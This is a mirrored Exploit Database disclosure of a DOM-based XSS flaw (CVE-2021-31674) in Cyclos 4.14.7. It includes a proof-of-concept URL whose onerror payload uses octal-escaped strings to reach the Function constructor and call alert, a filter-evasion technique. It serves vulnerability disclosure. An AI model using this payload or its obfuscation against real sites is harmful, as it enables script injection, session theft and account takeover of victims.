Cyclos 4.14.7 – DOM Based Cross-Site Scripting (XSS)

• Exploit Database
• 119 阅读

• 作者： Tin Pham
  日期： 2022-05-11
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50908/
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  # Exploit Title: Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS) # Date: 18/04/2021 # Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services # Vendor Homepage: https://www.cyclos.org/ # Version: Cyclos 4.14.7 (and prior) # Tested on: Ubuntu # CVE : CVE-2021-31674   # Description: Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefined enum.   # Steps to reproduce: An attacker sends a draft URL   [IP]/#users.users.public-registrationxx%3Cimg%20src=x%20onerror=%22[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\162\145\164\165\162\156\40\164\150\151\163')()['\141\154\145\162\164'](1)%22%3E to victim.   When a victim opens the URL, XSS will be triggered.